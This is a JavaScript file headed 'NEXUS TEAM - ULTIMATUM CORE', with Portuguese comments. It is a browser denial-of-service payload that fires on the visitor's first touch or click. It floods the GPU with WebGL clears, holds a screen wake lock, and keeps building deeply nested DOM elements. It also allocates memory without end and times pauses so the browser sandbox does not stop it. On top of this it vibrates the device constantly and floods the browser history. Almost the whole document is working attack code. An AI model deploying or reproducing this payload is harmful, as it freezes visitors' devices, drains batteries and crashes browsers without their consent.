/* NEXUS TEAM - ULTIMATUM CORE
ATTACK VECTORS: WEBGL GPU FLOOD, DOM RECURSION, WAKE_LOCK, HEAP SPAM
*/
(function nexusUltimatum() {
const trigger = () => {
// UI INTERFACE
document.body.innerHTML = `
NEXUS_CORE
[ INJECTING_RESOURCE_STORM ]
`;
// 1. WEBGL GPU STRESS (Trava a renderização do Sistema Operacional)
const canvas = document.getElementById('c');
const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
if (gl) {
setInterval(() => {
for (let i = 0; i < 1000; i++) {
gl.clearColor(Math.random(), Math.random(), Math.random(), 1);
gl.clear(gl.COLOR_BUFFER_BIT);
}
}, 1);
}
// 2. WAKE LOCK ABUSE (Impede o celular de apagar a tela ou dormir)
if ('wakeLock' in navigator) {
navigator.wakeLock.request('screen').catch(() => {});
}
// 3. DOM NODE RECURSION (O "Cancer" do Navegador)
// Cria elementos dentro de elementos infinitamente, quebrando o motor de layout (Reflow)
const root = document.getElementById('nx');
const infect = (parent, depth) => {
if (depth > 500) return;
const d = document.createElement('div');
d.style.cssText = "width:1px;height:1px;overflow:hidden;filter:blur(1px);";
parent.appendChild(d);
infect(d, depth + 1);
};
setInterval(() => infect(root, 0), 50);
// 4. HEAP SPAM (Alocação Binária Síncrona)
// Diferente de objetos, buffers de áudio/imagem são alocados fora da V8 (Heap externa)
const s = [];
const leak = () => {
while(true) {
s.push(new Uint32Array(1024 * 1024 * 2)); // 8MB por bloco
if(s.length % 50 === 0) break; // Pausa curta para não ser morto pelo sandbox imediatamente
}
setTimeout(leak, 0);
};
// 5. VIBRAÇÃO SINCRONIZADA
if (navigator.vibrate) {
setInterval(() => navigator.vibrate(2000), 100);
}
// 6. HISTORY/URL FLOOD
setInterval(() => {
for(let i=0; i<50; i++) {
history.pushState(null, "", "#NEXUS_" + Math.random().toString(36));
}
}, 50);
leak();
};
// Ativação por interação (Crítico para Mobile)
document.addEventListener('touchstart', trigger, { once: true });
document.addEventListener('click', trigger, { once: true });
})();